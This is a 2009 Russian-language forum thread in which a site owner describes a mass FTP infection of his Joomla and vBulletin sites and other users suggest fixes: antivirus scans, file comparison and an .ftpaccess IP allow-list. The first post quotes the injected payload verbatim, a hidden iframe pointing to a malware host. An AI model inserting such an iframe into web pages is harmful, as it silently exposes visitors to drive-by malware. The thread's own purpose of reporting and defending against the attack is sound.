форум vBSupport.ru > Камчатка > Pocket PC vBulletin.net.ru
  • »
VBsupport перешел с домена .ORG на родной .RU Ура! Пожалуйста, обновите свои закладки - VBsupport.ru
 
 
 
 
sava36
Знаток
 
sava36's Avatar
Default Вирусная атака сайтов по FTP
0

Сегодня у меня были атакованы все сайты(Joomla и Булка) и на тбилисском хостинге и на американском вирусом по - <iframe src="http://a5j.ru:8080/ts/in.cgi?pepsi100" width=125 height=125 style="visibility: hidden"></iframe> по FTP. американские сайты востановил (и форум), а вот тбилисский пока что нет (сначала не понял в чем дело и "дров наломал" надо теперь думать!!!

Вот ссылка на эту тему, пока первая в инете - http://forum.fok.nl/topic/1315670. кажется на французском.

как избавится от такого в дальнейшем. так как заражаются в основном файлы - index.php и index.html, а их море и все надо править!
Bot
Yandex Bot Yandex Bot is online now
 
Join Date: 05.05.2005
Реклама на форуме А что у нас тут интересного? =)
 
 
OldEr
Специалист
Master
 
OldEr's Avatar
Default
0

Quote:
Originally Posted by sava36 View Post
как избавится от такого в дальнейшем.
Пароли нормальные на фтп ставить и, прежде всего, обезопасить СОБСТВЕННЫЙ ПК.
 
 
sava36
Знаток
 
sava36's Avatar
Default
0

Quote:
Originally Posted by OldEr View Post
Пароли нормальные на фтп ставить и, прежде всего, обезопасить СОБСТВЕННЫЙ ПК.
На ПК -NOD32 -4, пароли на фтп - 14 знаков.
только в админке пришлось править 104 файла, в основном index.html. выковыривать "заразу". Ша просканирую "морду"
 
 
OldEr
Специалист
Master
 
OldEr's Avatar
Default
0

sava36, сканируйте куритом. (Бесплатная утилита CureIt от DrWeb.)
 
 
DiffuSer
Продвинутый
 
DiffuSer's Avatar
Default
0

А чем можно "просканировать морду"?
 
 
sava36
Знаток
 
sava36's Avatar
Default
0

Quote:
Originally Posted by DiffuSer View Post
А чем можно "просканировать морду"?
Total Commander поиском:

Click image for larger version

Name:	02.jpg
Views:	35
Size:	137.3 KB
ID:	17652
 
 
OldEr
Специалист
Master
 
OldEr's Avatar
Default
0

DiffuSer, глазами просмотреть или c помощью программы Araxis Merge сравнить с иходным файлом. Но и настольный ПК просканировать тоже нужно, чтобы не повторилось такое. = )
 
 
sava36
Знаток
 
sava36's Avatar
Default
0

Тбилисский сайт востановил. пришлось править 198 файлов. в основном - index.html. За сайт на американском хостинге даже браться "боюсь" так востановил форум на глазок, пока сойдет, завтра и там просканирую, но откуда же на оба хостинга вся эта гадость залезла????

sava36 добавил 14.07.2009 в 03:54
http://a5j.ru/ этот сайтп осылает "говно" как-то надо его "успокоить"

Last edited by sava36 : 07-14-2009 at 03:54 AM. Reason: Добавлено сообщение
 
 
Raveex
Продвинутый
 
Raveex's Avatar
Default
1

Quote:
Originally Posted by sava36 View Post
но откуда же на оба хостинга вся эта гадость залезла????
Вспоминай где посеял пароль на фтп. Скорее всего троян когда-то стырил. Про антивирусы не рассказывай, лучше про фаервол расскажи.
 
 
True
Администратор
 
True's Avatar
Default
3

sava36, мой хостер такое рекомендует по твоей проблеме:
Quote:
Что нужно делать чтобы ваш сайт не пострадал от такой атаки:
1. Актуальный антивирус + что то из Анти Spyware программ и фаервол.
2. Постоянные обновления данных программ.
3. Не храните пароли в FTP программах.
4. Для обеспечения безопасности вашего FTP разрешите подключения только с ваших IP адресов.
Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своей площадки файл .ftpaccess с содержимым:

<Limit ALL>
Allow from xx.xx.xx.xx
Allow from xx.xx.xx.xx
Deny from all
</Limit>
 

Tags
атака, вирус


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off




All times are GMT +4. The time now is 04:19 AM.


Powered by vBulletin® Version 3.0.17
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Loading...